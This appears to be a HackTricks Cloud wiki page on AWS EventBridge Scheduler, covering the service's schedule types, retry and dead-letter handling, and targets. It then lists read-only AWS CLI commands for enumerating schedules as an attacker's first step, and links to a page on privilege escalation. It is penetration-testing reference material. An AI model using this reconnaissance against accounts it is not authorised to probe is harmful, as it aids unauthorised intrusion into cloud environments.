* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## EventBridge Scheduler
**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets.
There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed."&#x20;
### Types of Schedules
Types of Schedules in EventBridge Scheduler:
1. **One-time schedules** Execute a task at a specific time, e.g., December 21st at 7 AM UTC.
2. **Rate-based schedules** Set recurring tasks based on a frequency, e.g., every 2 hours.
3. **Cron-based schedules** Set recurring tasks using a cron expression, e.g., every Friday at 4 PM.
Two Mechanisms for Handling Failed Events:
1. **Retry Policy** Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure.
2. **Dead-Letter Queue (DLQ)** A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target.
### Targets
There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API.
**Templated targets** support the following services:
* CodeBuild StartBuild
* CodePipeline StartPipelineExecution
* Amazon ECS RunTask
* Parameters: EcsParameters
* EventBridge PutEvents
* Parameters: EventBridgeParameters
* Amazon Inspector StartAssessmentRun
* Kinesis PutRecord
* Parameters: KinesisParameters
* Firehose PutRecord
* Lambda Invoke
* SageMaker StartPipelineExecution
* Parameters: SageMakerPipelineParameters
* Amazon SNS Publish
* Amazon SQS SendMessage
* Parameters: SqsParameters
* Step Functions StartExecution
### Enumeration
```bash
# List all EventBridge Scheduler schedules
aws scheduler list-schedules
# List all EventBridge Scheduler schedule groups
aws scheduler list-schedule-groups
# Describe a specific schedule to retrieve more details
aws scheduler get-schedule --name <schedule_name>
# Describe a specific schedule group
aws scheduler get-schedule-group --name <group_name>
# List tags for a specific schedule (helpful in identifying any custom tags or permissions)
aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
```
### Privesc
In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/eventbridgescheduler-privesc.md" %}
[eventbridgescheduler-privesc.md](../aws-privilege-escalation/eventbridgescheduler-privesc.md)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}